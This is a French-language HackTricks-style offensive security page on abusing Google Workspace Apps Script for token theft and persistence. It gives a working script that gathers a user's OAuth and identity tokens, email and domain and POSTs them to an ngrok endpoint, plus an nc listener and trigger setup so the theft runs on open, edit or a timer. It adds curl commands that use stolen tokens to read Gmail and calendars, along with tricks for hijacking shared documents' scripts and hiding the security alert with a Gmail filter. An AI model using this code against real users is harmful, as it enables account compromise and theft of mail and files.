GWS - App Scripts
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
App Scripts
App Scripts est un code qui sera déclenché lorsqu'un utilisateur ayant des droits d'éditeur accède au document auquel l'App Script est lié et après avoir accepté l'invite OAuth.
Ils peuvent également être configurés pour être exécutés à intervalles réguliers par le propriétaire de l'App Script (Persistance).
Créer un App Script
Il existe plusieurs façons de créer un App Script, bien que les plus courantes soient à partir d'un Document Google (de tout type) et en tant que projet autonome :
Créer un projet lié au conteneur à partir de Google Docs, Sheets ou Slides
- Ouvrez un document Docs, une feuille de calcul Sheets ou une présentation Slides.
- Cliquez sur Extensions > Google Apps Script.
- Dans l'éditeur de script, cliquez sur Projet sans titre.
- Donnez un nom à votre projet et cliquez sur Renommer.
Créer un projet autonome
Pour créer un projet autonome à partir d'Apps Script :
- Allez sur
script.google.com
. - Cliquez sur Nouveau projet.
- Dans l'éditeur de script, cliquez sur Projet sans titre.
- Donnez un nom à votre projet et cliquez sur Renommer.
Créer un projet autonome à partir de Google Drive
- Ouvrez Google Drive.
- Cliquez sur Nouveau > Plus > Google Apps Script.
Créer un projet lié au conteneur à partir de Google Forms
- Ouvrez un formulaire dans Google Forms.
- Cliquez sur Plus more_vert > Éditeur de script.
- Dans l'éditeur de script, cliquez sur Projet sans titre.
- Donnez un nom à votre projet et cliquez sur Renommer.
Créer un projet autonome en utilisant l'outil en ligne de commande clasp
clasp
est un outil en ligne de commande qui vous permet de créer, tirer/pousser et déployer des projets Apps Script depuis un terminal.
Voir le Guide de l'interface en ligne de commande utilisant clasp
pour plus de détails.
Scénario App Script
Créer une feuille Google avec App Script
Commencez par créer un App Script, ma recommandation pour ce scénario est de créer une feuille Google et d'aller à Extensions > App Scripts
, cela ouvrira un nouvel App Script pour vous lié à la feuille.
Token de fuite
Pour donner accès au token OAuth, vous devez cliquer sur Services +
et ajouter des scopes comme :
- AdminDirectory : Accéder aux utilisateurs et groupes du répertoire (si l'utilisateur a suffisamment de permissions)
- Gmail : Pour accéder aux données Gmail
- Drive : Pour accéder aux données Drive
- Google Sheets API : Pour que cela fonctionne avec le déclencheur
Pour changer vous-même les scopes nécessaires, vous pouvez aller dans les paramètres du projet et activer : Afficher le fichier manifeste "appsscript.json" dans l'éditeur
.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
Pour capturer la requête, vous pouvez simplement exécuter :
ngrok tcp 4444
nc -lv 4444 #macOS
Permissions demandées pour exécuter le App Script :
.png)
warning
Comme une demande externe est faite, l'invite OAuth demandera également la permission d'atteindre des points de terminaison externes.
Créer un déclencheur
Une fois que l'App est lue, cliquez sur ⏰ Déclencheurs pour créer un déclencheur. Comme fonction à exécuter, choisissez getToken
, s'exécute au déploiement Head
, dans la source d'événement sélectionnez From spreadsheet
et le type d'événement sélectionnez On open
ou On edit
(selon vos besoins) et enregistrez.
Notez que vous pouvez vérifier les exécutions des App Scripts dans l'onglet Exécutions si vous souhaitez déboguer quelque chose.
Partage
Pour déclencher le App Script, la victime doit se connecter avec Accès Éditeur.
tip
Le token utilisé pour exécuter le App Script sera celui du créateur du déclencheur, même si le fichier est ouvert en tant qu'Éditeur par d'autres utilisateurs.
Abuser des documents Partagés avec Moi
caution
Si quelqu'un vous a partagé un document avec des App Scripts et un déclencheur utilisant le Head du App Script (pas un déploiement fixe), vous pouvez modifier le code du App Script (ajoutant par exemple les fonctions de vol de token), y accéder, et le App Script sera exécuté avec les permissions de l'utilisateur qui vous a partagé le document ! (notez que le token OAuth du propriétaire aura comme scopes d'accès ceux donnés lors de la création du déclencheur).
Une notification sera envoyée au créateur du script indiquant que quelqu'un a modifié le script (Que diriez-vous d'utiliser les permissions gmail pour générer un filtre afin de prévenir l'alerte ?)
tip
Si un attaquant modifie les scopes du App Script, les mises à jour ne seront pas appliquées au document jusqu'à ce qu'un nouveau déclencheur avec les changements soit créé. Par conséquent, un attaquant ne pourra pas voler le token du propriétaire créateur avec plus de scopes que celui qu'il a défini dans le déclencheur qu'il a créé.
Copier au lieu de partager
Lorsque vous créez un lien pour partager un document, un lien similaire à celui-ci est créé : https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Si vous changez la fin "/edit" pour "/copy", au lieu d'y accéder, Google vous demandera si vous souhaitez générer une copie du document :
.png)
Si l'utilisateur le copie et y accède, à la fois les contenus du document et les App Scripts seront copiés, cependant les déclencheurs ne le sont pas, donc rien ne sera exécuté.
Partager en tant qu'application Web
Notez qu'il est également possible de partager un App Script en tant qu'application Web (dans l'Éditeur du App Script, déployez en tant qu'application Web), mais une alerte comme celle-ci apparaîtra :
.png)
Suivie de l'invite OAuth typique demandant les permissions nécessaires.
Test
Vous pouvez tester un token recueilli pour lister les emails avec :
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
Lister le calendrier de l'utilisateur :
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script comme Persistance
Une option pour la persistance serait de créer un document et d'ajouter un déclencheur pour la fonction getToken et de partager le document avec l'attaquant afin que chaque fois que l'attaquant ouvre le fichier, il exfiltre le token de la victime.
Il est également possible de créer un App Script et de le faire déclencher toutes les X minutes (comme chaque minute, heure, jour...). Un attaquant qui a compromis des identifiants ou une session d'une victime pourrait définir un déclencheur temporel pour l'App Script et exfiltrer un token OAuth très privilégié chaque jour :
Il suffit de créer un App Script, d'aller dans Déclencheurs, de cliquer sur Ajouter un déclencheur, et de sélectionner comme source d'événement Basé sur le temps et de choisir les options qui vous conviennent le mieux :
.png)
caution
Cela créera un e-mail d'alerte de sécurité et un message push sur votre mobile vous alertant à ce sujet.
Contournement de l'invite non vérifiée du document partagé
De plus, si quelqu'un vous a partagé un document avec accès éditeur, vous pouvez générer des App Scripts à l'intérieur du document et le PROPRIÉTAIRE (créateur) du document sera le propriétaire de l'App Script.
warning
Cela signifie que le créateur du document apparaîtra comme créateur de tout App Script que quiconque avec un accès éditeur crée à l'intérieur.
Cela signifie également que l'App Script sera de confiance par l'environnement Workspace du créateur du document.
caution
Cela signifie également que si un App Script existait déjà et que des personnes ont accordé l'accès, quiconque ayant la permission Éditeur sur le document peut le modifier et abuser de cet accès.
Pour abuser de cela, vous avez également besoin que des personnes déclenchent l'App Script. Et un truc astucieux est de publier le script en tant qu'application web. Lorsque les personnes qui ont déjà accordé l'accès à l'App Script accèdent à la page web, elles déclencheront l'App Script (cela fonctionne également en utilisant des balises <img>
).
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.